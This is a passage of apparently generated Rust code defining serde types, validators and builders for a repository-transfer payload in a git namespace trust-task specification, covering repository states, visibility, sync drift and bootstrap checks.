if PATTERN.find(value).is_none() {
return Err(
"doesn't match pattern \"^[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+/[a-z0-9_-][a-z0-9._-]{0,99}/[a-z0-9_-][a-z0-9._-]{0,99}$\""
.into(),
);
}
Ok(Self(value.to_string()))
}
}
impl ::std::convert::TryFrom<&str> for RepoResource {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for RepoResource {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for RepoResource {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl<'de> ::serde::Deserialize<'de> for RepoResource {
fn deserialize<D>(deserializer: D) -> ::std::result::Result<Self, D::Error>
where
D: ::serde::Deserializer<'de>,
{
::std::string::String::deserialize(deserializer)?
.parse()
.map_err(|e: self::error::ConversionError| {
<D::Error as ::serde::de::Error>::custom(e.to_string())
})
}
}
///One repository as the VTC records it.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "RepoSummary",
/// "description": "One repository as the VTC records it.",
/// "type": "object",
/// "required": [
/// "bootstrap",
/// "owners",
/// "resource",
/// "state",
/// "sync",
/// "visibility"
/// ],
/// "properties": {
/// "bootstrap": {
/// "$ref": "#/definitions/Bootstrap"
/// },
/// "forgeId": {
/// "description": "The forge's repository id. Absent until the forge has confirmed the repository exists (a `pendingCreate` repository, or one adopted in bridge mode before the first inspection).",
/// "$ref": "#/definitions/ForgeId"
/// },
/// "owners": {
/// "description": "The DIDs holding `git.repo.own` on this repository by an explicit grant. Empty only for an `unmanaged` repository, and for an `orphaned` one whose ownership rests with the namespace admins by implication.",
/// "type": "array",
/// "items": {
/// "$ref": "#/definitions/Did"
/// },
/// "uniqueItems": true
/// },
/// "resource": {
/// "$ref": "#/definitions/RepoResource"
/// },
/// "state": {
/// "description": "`pendingCreate` — the name is reserved and the repository is not yet confirmed on the forge. `active` — managed. `archived` — archived through git-ns/repo/archive; commit rights on it are revoked. `detached` — no longer governed: its namespace was unbound, or it moved outside the namespace. `orphaned` — its last owner left the community and ownership passed to the namespace admins, who have not yet named a new owner. `unmanaged` — it exists on the forge inside a bound namespace but was never created or adopted through the VTC.",
/// "type": "string",
/// "enum": [
/// "pendingCreate",
/// "active",
/// "archived",
/// "detached",
/// "orphaned",
/// "unmanaged"
/// ]
/// },
/// "sync": {
/// "$ref": "#/definitions/Sync"
/// },
/// "visibility": {
/// "$ref": "#/definitions/RepoVisibility"
/// }
/// },
/// "additionalProperties": false
///}
/// ```
/// </details>
#[derive(::serde::Deserialize, ::serde::Serialize, Clone, Debug)]
#[serde(deny_unknown_fields)]
#[non_exhaustive]
pub struct RepoSummary {
pub bootstrap: Bootstrap,
///The forge's repository id. Absent until the forge has confirmed the repository exists (a `pendingCreate` repository, or one adopted in bridge mode before the first inspection).
#[serde(
rename = "forgeId",
default,
skip_serializing_if = "::std::option::Option::is_none"
)]
pub forge_id: ::std::option::Option<ForgeId>,
///The DIDs holding `git.repo.own` on this repository by an explicit grant. Empty only for an `unmanaged` repository, and for an `orphaned` one whose ownership rests with the namespace admins by implication.
pub owners: Vec<Did>,
pub resource: RepoResource,
///`pendingCreate` — the name is reserved and the repository is not yet confirmed on the forge. `active` — managed. `archived` — archived through git-ns/repo/archive; commit rights on it are revoked. `detached` — no longer governed: its namespace was unbound, or it moved outside the namespace. `orphaned` — its last owner left the community and ownership passed to the namespace admins, who have not yet named a new owner. `unmanaged` — it exists on the forge inside a bound namespace but was never created or adopted through the VTC.
pub state: RepoSummaryState,
pub sync: Sync,
pub visibility: RepoVisibility,
}
impl RepoSummary {
pub fn builder() -> builder::RepoSummary {
Default::default()
}
}
///`pendingCreate` — the name is reserved and the repository is not yet confirmed on the forge. `active` — managed. `archived` — archived through git-ns/repo/archive; commit rights on it are revoked. `detached` — no longer governed: its namespace was unbound, or it moved outside the namespace. `orphaned` — its last owner left the community and ownership passed to the namespace admins, who have not yet named a new owner. `unmanaged` — it exists on the forge inside a bound namespace but was never created or adopted through the VTC.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "description": "`pendingCreate` — the name is reserved and the repository is not yet confirmed on the forge. `active` — managed. `archived` — archived through git-ns/repo/archive; commit rights on it are revoked. `detached` — no longer governed: its namespace was unbound, or it moved outside the namespace. `orphaned` — its last owner left the community and ownership passed to the namespace admins, who have not yet named a new owner. `unmanaged` — it exists on the forge inside a bound namespace but was never created or adopted through the VTC.",
/// "type": "string",
/// "enum": [
/// "pendingCreate",
/// "active",
/// "archived",
/// "detached",
/// "orphaned",
/// "unmanaged"
/// ]
///}
/// ```
/// </details>
#[derive(
::serde::Deserialize,
::serde::Serialize,
Clone,
Copy,
Debug,
Eq,
Hash,
Ord,
PartialEq,
PartialOrd,
)]
#[non_exhaustive]
pub enum RepoSummaryState {
#[serde(rename = "pendingCreate")]
PendingCreate,
#[serde(rename = "active")]
Active,
#[serde(rename = "archived")]
Archived,
#[serde(rename = "detached")]
Detached,
#[serde(rename = "orphaned")]
Orphaned,
#[serde(rename = "unmanaged")]
Unmanaged,
}
impl ::std::fmt::Display for RepoSummaryState {
fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result {
match *self {
Self::PendingCreate => f.write_str("pendingCreate"),
Self::Active => f.write_str("active"),
Self::Archived => f.write_str("archived"),
Self::Detached => f.write_str("detached"),
Self::Orphaned => f.write_str("orphaned"),
Self::Unmanaged => f.write_str("unmanaged"),
}
}
}
impl ::std::str::FromStr for RepoSummaryState {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
match value {
"pendingCreate" => Ok(Self::PendingCreate),
"active" => Ok(Self::Active),
"archived" => Ok(Self::Archived),
"detached" => Ok(Self::Detached),
"orphaned" => Ok(Self::Orphaned),
"unmanaged" => Ok(Self::Unmanaged),
_ => Err("invalid value".into()),
}
}
}
impl ::std::convert::TryFrom<&str> for RepoSummaryState {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for RepoSummaryState {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for RepoSummaryState {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
///Repository visibility on the forge.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "RepoVisibility",
/// "description": "Repository visibility on the forge.",
/// "type": "string",
/// "enum": [
/// "public",
/// "private"
/// ]
///}
/// ```
/// </details>
#[derive(
::serde::Deserialize,
::serde::Serialize,
Clone,
Copy,
Debug,
Eq,
Hash,
Ord,
PartialEq,
PartialOrd,
)]
#[non_exhaustive]
pub enum RepoVisibility {
#[serde(rename = "public")]
Public,
#[serde(rename = "private")]
Private,
}
impl ::std::fmt::Display for RepoVisibility {
fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result {
match *self {
Self::Public => f.write_str("public"),
Self::Private => f.write_str("private"),
}
}
}
impl ::std::str::FromStr for RepoVisibility {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
match value {
"public" => Ok(Self::Public),
"private" => Ok(Self::Private),
_ => Err("invalid value".into()),
}
}
}
impl ::std::convert::TryFrom<&str> for RepoVisibility {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for RepoVisibility {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for RepoVisibility {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
///The repository after the transfer.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "Response",
/// "description": "The repository after the transfer.",
/// "type": "object",
/// "required": [
/// "repo"
/// ],
/// "properties": {
/// "ext": {
/// "$ref": "#/definitions/Ext"
/// },
/// "repo": {
/// "description": "The repository after the transfer.",
/// "$ref": "#/definitions/RepoSummary"
/// }
/// },
/// "additionalProperties": false,
/// "$anchor": "response"
///}
/// ```
/// </details>
#[derive(::serde::Deserialize, ::serde::Serialize, Clone, Debug)]
#[serde(deny_unknown_fields)]
#[non_exhaustive]
pub struct Response {
#[serde(default, skip_serializing_if = "::std::option::Option::is_none")]
pub ext: ::std::option::Option<Ext>,
///The repository after the transfer.
pub repo: RepoSummary,
}
impl Response {
pub fn builder() -> builder::Response {
Default::default()
}
}
///How the forge compares with the VTC's projection for one repository.
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "title": "Sync",
/// "description": "How the forge compares with the VTC's projection for one repository.",
/// "type": "object",
/// "required": [
/// "drift",
/// "state"
/// ],
/// "properties": {
/// "checkedAt": {
/// "description": "When the forge was last compared. Absent if never.",
/// "type": "string",
/// "format": "date-time"
/// },
/// "drift": {
/// "description": "Outstanding drift. Empty unless `state` is `drift`.",
/// "type": "array",
/// "items": {
/// "$ref": "#/definitions/DriftItem"
/// }
/// },
/// "state": {
/// "description": "`inSync` — the last comparison found no drift. `drift` — it found some, listed in `drift`. `pending` — a change has been sent to the forge and not yet confirmed. `unchecked` — nothing compares this repository (a manual-mode namespace).",
/// "type": "string",
/// "enum": [
/// "inSync",
/// "drift",
/// "pending",
/// "unchecked"
/// ]
/// }
/// },
/// "additionalProperties": false
///}
/// ```
/// </details>
#[derive(::serde::Deserialize, ::serde::Serialize, Clone, Debug)]
#[serde(deny_unknown_fields)]
#[non_exhaustive]
pub struct Sync {
///When the forge was last compared. Absent if never.
#[serde(
rename = "checkedAt",
default,
skip_serializing_if = "::std::option::Option::is_none"
)]
pub checked_at: ::std::option::Option<::chrono::DateTime<::chrono::offset::Utc>>,
///Outstanding drift. Empty unless `state` is `drift`.
pub drift: ::std::vec::Vec<DriftItem>,
///`inSync` — the last comparison found no drift. `drift` — it found some, listed in `drift`. `pending` — a change has been sent to the forge and not yet confirmed. `unchecked` — nothing compares this repository (a manual-mode namespace).
pub state: SyncState,
}
impl Sync {
pub fn builder() -> builder::Sync {
Default::default()
}
}
///`inSync` — the last comparison found no drift. `drift` — it found some, listed in `drift`. `pending` — a change has been sent to the forge and not yet confirmed. `unchecked` — nothing compares this repository (a manual-mode namespace).
///
/// <details><summary>JSON schema</summary>
///
/// ```json
///{
/// "description": "`inSync` — the last comparison found no drift. `drift` — it found some, listed in `drift`. `pending` — a change has been sent to the forge and not yet confirmed. `unchecked` — nothing compares this repository (a manual-mode namespace).",
/// "type": "string",
/// "enum": [
/// "inSync",
/// "drift",
/// "pending",
/// "unchecked"
/// ]
///}
/// ```
/// </details>
#[derive(
::serde::Deserialize,
::serde::Serialize,
Clone,
Copy,
Debug,
Eq,
Hash,
Ord,
PartialEq,
PartialOrd,
)]
#[non_exhaustive]
pub enum SyncState {
#[serde(rename = "inSync")]
InSync,
#[serde(rename = "drift")]
Drift,
#[serde(rename = "pending")]
Pending,
#[serde(rename = "unchecked")]
Unchecked,
}
impl ::std::fmt::Display for SyncState {
fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result {
match *self {
Self::InSync => f.write_str("inSync"),
Self::Drift => f.write_str("drift"),
Self::Pending => f.write_str("pending"),
Self::Unchecked => f.write_str("unchecked"),
}
}
}
impl ::std::str::FromStr for SyncState {
type Err = self::error::ConversionError;
fn from_str(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
match value {
"inSync" => Ok(Self::InSync),
"drift" => Ok(Self::Drift),
"pending" => Ok(Self::Pending),
"unchecked" => Ok(Self::Unchecked),
_ => Err("invalid value".into()),
}
}
}
impl ::std::convert::TryFrom<&str> for SyncState {
type Error = self::error::ConversionError;
fn try_from(value: &str) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<&::std::string::String> for SyncState {
type Error = self::error::ConversionError;
fn try_from(
value: &::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
impl ::std::convert::TryFrom<::std::string::String> for SyncState {
type Error = self::error::ConversionError;
fn try_from(
value: ::std::string::String,
) -> ::std::result::Result<Self, self::error::ConversionError> {
value.parse()
}
}
/// Types for composing complex structures.
pub mod builder {
#[derive(Clone, Debug)]
pub struct Bootstrap {
keyring: ::std::result::Result<bool, ::std::string::String>,
required_check: ::std::result::Result<bool, ::std::string::String>,
variables: ::std::result::Result<bool, ::std::string::String>,
workflow: ::std::result::Result<bool, ::std::string::String>,
}
impl ::std::default::Default for Bootstrap {
fn default() -> Self {
Self {
keyring: Err("no value supplied for keyring".to_string()),
required_check: Err("no value supplied for required_check".to_string()),
variables: Err("no value supplied for variables".to_string()),
workflow: Err("no value supplied for workflow".to_string()),
}
}
}
impl Bootstrap {
pub fn keyring<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<bool>,
T::Error: ::std::fmt::Display,
{
self.keyring = value
.try_into()
.map_err(|e| format!("error converting supplied value for keyring: {e}"));
self
}
pub fn required_check<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<bool>,
T::Error: ::std::fmt::Display,
{
self.required_check = value
.try_into()
.map_err(|e| format!("error converting supplied value for required_check: {e}"));
self
}
pub fn variables<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<bool>,
T::Error: ::std::fmt::Display,
{
self.variables = value
.try_into()
.map_err(|e| format!("error converting supplied value for variables: {e}"));
self
}
pub fn workflow<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<bool>,
T::Error: ::std::fmt::Display,
{
self.workflow = value
.try_into()
.map_err(|e| format!("error converting supplied value for workflow: {e}"));
self
}
}
impl ::std::convert::TryFrom<Bootstrap> for super::Bootstrap {
type Error = super::error::ConversionError;
fn try_from(
value: Bootstrap,
) -> ::std::result::Result<Self, super::error::ConversionError> {
Ok(Self {
keyring: value.keyring?,
required_check: value.required_check?,
variables: value.variables?,
workflow: value.workflow?,
})
}
}
impl ::std::convert::From<super::Bootstrap> for Bootstrap {
fn from(value: super::Bootstrap) -> Self {
Self {
keyring: Ok(value.keyring),
required_check: Ok(value.required_check),
variables: Ok(value.variables),
workflow: Ok(value.workflow),
}
}
}
#[derive(Clone, Debug)]
pub struct DriftItem {
account: ::std::result::Result<
::std::option::Option<super::ForgeAccount>,
::std::string::String,
>,
expected: ::std::result::Result<
::std::option::Option<super::DriftItemExpected>,
::std::string::String,
>,
observed: ::std::result::Result<
::std::option::Option<super::DriftItemObserved>,
::std::string::String,
>,
resource: ::std::result::Result<super::RepoResource, ::std::string::String>,
type_: ::std::result::Result<super::DriftItemType, ::std::string::String>,
}
impl ::std::default::Default for DriftItem {
fn default() -> Self {
Self {
account: Ok(Default::default()),
expected: Ok(Default::default()),
observed: Ok(Default::default()),
resource: Err("no value supplied for resource".to_string()),
type_: Err("no value supplied for type_".to_string()),
}
}
}
impl DriftItem {
pub fn account<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<::std::option::Option<super::ForgeAccount>>,
T::Error: ::std::fmt::Display,
{
self.account = value
.try_into()
.map_err(|e| format!("error converting supplied value for account: {e}"));
self
}
pub fn expected<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<::std::option::Option<super::DriftItemExpected>>,
T::Error: ::std::fmt::Display,
{
self.expected = value
.try_into()
.map_err(|e| format!("error converting supplied value for expected: {e}"));
self
}
pub fn observed<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<::std::option::Option<super::DriftItemObserved>>,
T::Error: ::std::fmt::Display,
{
self.observed = value
.try_into()
.map_err(|e| format!("error converting supplied value for observed: {e}"));
self
}
pub fn resource<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::RepoResource>,
T::Error: ::std::fmt::Display,
{
self.resource = value
.try_into()
.map_err(|e| format!("error converting supplied value for resource: {e}"));
self
}
pub fn type_<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::DriftItemType>,
T::Error: ::std::fmt::Display,
{
self.type_ = value
.try_into()
.map_err(|e| format!("error converting supplied value for type_: {e}"));
self
}
}
impl ::std::convert::TryFrom<DriftItem> for super::DriftItem {
type Error = super::error::ConversionError;
fn try_from(
value: DriftItem,
) -> ::std::result::Result<Self, super::error::ConversionError> {
Ok(Self {
account: value.account?,
expected: value.expected?,
observed: value.observed?,
resource: value.resource?,
type_: value.type_?,
})
}
}
impl ::std::convert::From<super::DriftItem> for DriftItem {
fn from(value: super::DriftItem) -> Self {
Self {
account: Ok(value.account),
expected: Ok(value.expected),
observed: Ok(value.observed),
resource: Ok(value.resource),
type_: Ok(value.type_),
}
}
}
#[derive(Clone, Debug)]
pub struct ForgeAccount {
forge: ::std::result::Result<super::ForgeHost, ::std::string::String>,
id: ::std::result::Result<super::ForgeId, ::std::string::String>,
login: ::std::result::Result<super::ForgeAccountLogin, ::std::string::String>,
}
impl ::std::default::Default for ForgeAccount {
fn default() -> Self {
Self {
forge: Err("no value supplied for forge".to_string()),
id: Err("no value supplied for id".to_string()),
login: Err("no value supplied for login".to_string()),
}
}
}
impl ForgeAccount {
pub fn forge<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::ForgeHost>,
T::Error: ::std::fmt::Display,
{
self.forge = value
.try_into()
.map_err(|e| format!("error converting supplied value for forge: {e}"));
self
}
pub fn id<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::ForgeId>,
T::Error: ::std::fmt::Display,
{
self.id = value
.try_into()
.map_err(|e| format!("error converting supplied value for id: {e}"));
self
}
pub fn login<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::ForgeAccountLogin>,
T::Error: ::std::fmt::Display,
{
self.login = value
.try_into()
.map_err(|e| format!("error converting supplied value for login: {e}"));
self
}
}
impl ::std::convert::TryFrom<ForgeAccount> for super::ForgeAccount {
type Error = super::error::ConversionError;
fn try_from(
value: ForgeAccount,
) -> ::std::result::Result<Self, super::error::ConversionError> {
Ok(Self {
forge: value.forge?,
id: value.id?,
login: value.login?,
})
}
}
impl ::std::convert::From<super::ForgeAccount> for ForgeAccount {
fn from(value: super::ForgeAccount) -> Self {
Self {
forge: Ok(value.forge),
id: Ok(value.id),
login: Ok(value.login),
}
}
}
#[derive(Clone, Debug)]
pub struct Payload {
ext: ::std::result::Result<::std::option::Option<super::Ext>, ::std::string::String>,
resource: ::std::result::Result<super::RepoResource, ::std::string::String>,
to: ::std::result::Result<super::Did, ::std::string::String>,
}
impl ::std::default::Default for Payload {
fn default() -> Self {
Self {
ext: Ok(Default::default()),
resource: Err("no value supplied for resource".to_string()),
to: Err("no value supplied for to".to_string()),
}
}
}
impl Payload {
pub fn ext<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<::std::option::Option<super::Ext>>,
T::Error: ::std::fmt::Display,
{
self.ext = value
.try_into()
.map_err(|e| format!("error converting supplied value for ext: {e}"));
self
}
pub fn resource<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::RepoResource>,
T::Error: ::std::fmt::Display,
{
self.resource = value
.try_into()
.map_err(|e| format!("error converting supplied value for resource: {e}"));
self
}
pub fn to<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::Did>,
T::Error: ::std::fmt::Display,
{
self.to = value
.try_into()
.map_err(|e| format!("error converting supplied value for to: {e}"));
self
}
}
impl ::std::convert::TryFrom<Payload> for super::Payload {
type Error = super::error::ConversionError;
fn try_from(value: Payload) -> ::std::result::Result<Self, super::error::ConversionError> {
Ok(Self {
ext: value.ext?,
resource: value.resource?,
to: value.to?,
})
}
}
impl ::std::convert::From<super::Payload> for Payload {
fn from(value: super::Payload) -> Self {
Self {
ext: Ok(value.ext),
resource: Ok(value.resource),
to: Ok(value.to),
}
}
}
#[derive(Clone, Debug)]
pub struct RepoSummary {
bootstrap: ::std::result::Result<super::Bootstrap, ::std::string::String>,
forge_id:
::std::result::Result<::std::option::Option<super::ForgeId>, ::std::string::String>,
owners: ::std::result::Result<Vec<super::Did>, ::std::string::String>,
resource: ::std::result::Result<super::RepoResource, ::std::string::String>,
state: ::std::result::Result<super::RepoSummaryState, ::std::string::String>,
sync: ::std::result::Result<super::Sync, ::std::string::String>,
visibility: ::std::result::Result<super::RepoVisibility, ::std::string::String>,
}
impl ::std::default::Default for RepoSummary {
fn default() -> Self {
Self {
bootstrap: Err("no value supplied for bootstrap".to_string()),
forge_id: Ok(Default::default()),
owners: Err("no value supplied for owners".to_string()),
resource: Err("no value supplied for resource".to_string()),
state: Err("no value supplied for state".to_string()),
sync: Err("no value supplied for sync".to_string()),
visibility: Err("no value supplied for visibility".to_string()),
}
}
}
impl RepoSummary {
pub fn bootstrap<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::Bootstrap>,
T::Error: ::std::fmt::Display,
{
self.bootstrap = value
.try_into()
.map_err(|e| format!("error converting supplied value for bootstrap: {e}"));
self
}
pub fn forge_id<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<::std::option::Option<super::ForgeId>>,
T::Error: ::std::fmt::Display,
{
self.forge_id = value
.try_into()
.map_err(|e| format!("error converting supplied value for forge_id: {e}"));
self
}
pub fn owners<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<Vec<super::Did>>,
T::Error: ::std::fmt::Display,
{
self.owners = value
.try_into()
.map_err(|e| format!("error converting supplied value for owners: {e}"));
self
}
pub fn resource<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::RepoResource>,
T::Error: ::std::fmt::Display,
{
self.resource = value
.try_into()
.map_err(|e| format!("error converting supplied value for resource: {e}"));
self
}
pub fn state<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::RepoSummaryState>,
T::Error: ::std::fmt::Display,
{
self.state = value
.try_into()
.map_err(|e| format!("error converting supplied value for state: {e}"));
self
}
pub fn sync<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::Sync>,
T::Error: ::std::fmt::Display,
{
self.sync = value
.try_into()
.map_err(|e| format!("error converting supplied value for sync: {e}"));
self
}
pub fn visibility<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::RepoVisibility>,
T::Error: ::std::fmt::Display,
{
self.visibility = value
.try_into()
.map_err(|e| format!("error converting supplied value for visibility: {e}"));
self
}
}
impl ::std::convert::TryFrom<RepoSummary> for super::RepoSummary {
type Error = super::error::ConversionError;
fn try_from(
value: RepoSummary,
) -> ::std::result::Result<Self, super::error::ConversionError> {
Ok(Self {
bootstrap: value.bootstrap?,
forge_id: value.forge_id?,
owners: value.owners?,
resource: value.resource?,
state: value.state?,
sync: value.sync?,
visibility: value.visibility?,
})
}
}
impl ::std::convert::From<super::RepoSummary> for RepoSummary {
fn from(value: super::RepoSummary) -> Self {
Self {
bootstrap: Ok(value.bootstrap),
forge_id: Ok(value.forge_id),
owners: Ok(value.owners),
resource: Ok(value.resource),
state: Ok(value.state),
sync: Ok(value.sync),
visibility: Ok(value.visibility),
}
}
}
#[derive(Clone, Debug)]
pub struct Response {
ext: ::std::result::Result<::std::option::Option<super::Ext>, ::std::string::String>,
repo: ::std::result::Result<super::RepoSummary, ::std::string::String>,
}
impl ::std::default::Default for Response {
fn default() -> Self {
Self {
ext: Ok(Default::default()),
repo: Err("no value supplied for repo".to_string()),
}
}
}
impl Response {
pub fn ext<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<::std::option::Option<super::Ext>>,
T::Error: ::std::fmt::Display,
{
self.ext = value
.try_into()
.map_err(|e| format!("error converting supplied value for ext: {e}"));
self
}
pub fn repo<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::RepoSummary>,
T::Error: ::std::fmt::Display,
{
self.repo = value
.try_into()
.map_err(|e| format!("error converting supplied value for repo: {e}"));
self
}
}
impl ::std::convert::TryFrom<Response> for super::Response {
type Error = super::error::ConversionError;
fn try_from(value: Response) -> ::std::result::Result<Self, super::error::ConversionError> {
Ok(Self {
ext: value.ext?,
repo: value.repo?,
})
}
}
impl ::std::convert::From<super::Response> for Response {
fn from(value: super::Response) -> Self {
Self {
ext: Ok(value.ext),
repo: Ok(value.repo),
}
}
}
#[derive(Clone, Debug)]
pub struct Sync {
checked_at: ::std::result::Result<
::std::option::Option<::chrono::DateTime<::chrono::offset::Utc>>,
::std::string::String,
>,
drift: ::std::result::Result<::std::vec::Vec<super::DriftItem>, ::std::string::String>,
state: ::std::result::Result<super::SyncState, ::std::string::String>,
}
impl ::std::default::Default for Sync {
fn default() -> Self {
Self {
checked_at: Ok(Default::default()),
drift: Err("no value supplied for drift".to_string()),
state: Err("no value supplied for state".to_string()),
}
}
}
impl Sync {
pub fn checked_at<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<
::std::option::Option<::chrono::DateTime<::chrono::offset::Utc>>,
>,
T::Error: ::std::fmt::Display,
{
self.checked_at = value
.try_into()
.map_err(|e| format!("error converting supplied value for checked_at: {e}"));
self
}
pub fn drift<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<::std::vec::Vec<super::DriftItem>>,
T::Error: ::std::fmt::Display,
{
self.drift = value
.try_into()
.map_err(|e| format!("error converting supplied value for drift: {e}"));
self
}
pub fn state<T>(mut self, value: T) -> Self
where
T: ::std::convert::TryInto<super::SyncState>,
T::Error: ::std::fmt::Display,
{
self.state = value
.try_into()
.map_err(|e| format!("error converting supplied value for state: {e}"));
self
}
}
impl ::std::convert::TryFrom<Sync> for super::Sync {
type Error = super::error::ConversionError;
fn try_from(value: Sync) -> ::std::result::Result<Self, super::error::ConversionError> {
Ok(Self {
checked_at: value.checked_at?,
drift: value.drift?,
state: value.state?,
})
}
}
impl ::std::convert::From<super::Sync> for Sync {
fn from(value: super::Sync) -> Self {
Self {
checked_at: Ok(value.checked_at),
drift: Ok(value.drift),
state: Ok(value.state),
}
}
}
}
impl crate::Payload for Payload {
const TYPE_URI: &'static str = "https://trusttasks.org/spec/git-ns/repo/transfer/0.2";
const IS_PROOF_REQUIRED: bool = true;
const IS_ISSUED_AT_REQUIRED: bool = true;
const IS_RECIPIENT_REQUIRED: bool = true;
const PAYLOAD_SCHEMA: Option<&'static str> = Some(
"{\n \"$defs\": {\n \"Bootstrap\": {\n \"additionalProperties\": false,\n \"description\": \"Whether each step that turns commit trust on for a repository is in place, as last reported. A step that this forge's plan does not need reads `true`.\",\n \"properties\": {\n \"keyring\": {\n \"description\": \"The exempt platform keyring for forge-signed merge commits is committed, or the forge's plan does not need one.\",\n \"type\": \"boolean\"\n },\n \"requiredCheck\": {\n \"description\": \"The forge refuses to merge into the default branch unless the verify-trust check passes, with no bypass, and a pull request cannot change what that check runs: an organisation-required workflow, code-owner review of workflow files, or protected workflow paths, as the forge allows.\",\n \"type\": \"boolean\"\n },\n \"variables\": {\n \"description\": \"The repository names the Trust Registry and this VTC as its trust anchors.\",\n \"type\": \"boolean\"\n },\n \"workflow\": {\n \"description\": \"The verify-trust check runs on the repository's pull requests — from a workflow committed to it, or, where the forge supports it, required on it from the namespace's own bridge-managed workflow repository at a pinned commit.\",\n \"type\": \"boolean\"\n }\n },\n \"required\": [\n \"workflow\",\n \"keyring\",\n \"variables\",\n \"requiredCheck\"\n ],\n \"title\": \"Bootstrap\",\n \"type\": \"object\"\n },\n \"Did\": {\n \"description\": \"A bare DID in the W3C DID Core syntax (§3.1): `did:`, a method name of lowercase letters and digits, `:`, and a method-specific id of colon-separated segments drawn from `A-Z a-z 0-9 . - _` and percent-encoded octets, the last segment non-empty. A DID URL is not a DID: no path, query or fragment (`/`, `?`, `#`), so a verification-method id such as `did:key:z6Mk…#z6Mk…` is refused. Compared by exact string equality — no case folding or percent-decoding. A consumer MUST still treat the value as data: the pattern keeps shell metacharacters, whitespace and quotes out of the wire form, but it does not make a DID safe to splice into a command or markup.\",\n \"maxLength\": 2048,\n \"pattern\": \"^did:[a-z0-9]+:(?:(?:[A-Za-z0-9._-]|%[0-9A-Fa-f]{2})*:)*(?:[A-Za-z0-9._-]|%[0-9A-Fa-f]{2})+$\",\n \"title\": \"Did\",\n \"type\": \"string\"\n },\n \"DriftItem\": {\n \"additionalProperties\": false,\n \"description\": \"One difference between the forge's observed state and the VTC's projection of a repository.\",\n \"properties\": {\n \"account\": {\n \"$ref\": \"#/$defs/ForgeAccount\",\n \"description\": \"Whose role differs, for the three role types.\"\n },\n \"expected\": {\n \"description\": \"What the projection calls for, in the forge's own vocabulary. Absent when the projection calls for nothing.\",\n \"maxLength\": 256,\n \"type\": \"string\"\n },\n \"observed\": {\n \"description\": \"What the forge shows, in the forge's own vocabulary (a role name such as `maintain`, a setting name). Absent when nothing is there.\",\n \"maxLength\": 256,\n \"type\": \"string\"\n },\n \"resource\": {\n \"$ref\": \"#/$defs/RepoResource\"\n },\n \"type\": {\n \"description\": \"`roleAdded` — someone holds a forge role the projection does not give them. `roleRemoved` — a projected role is missing. `roleChanged` — a projected role is present at another level. `requiredCheckMissing` — the verify-trust check is no longer required. `protectionWeakened` — 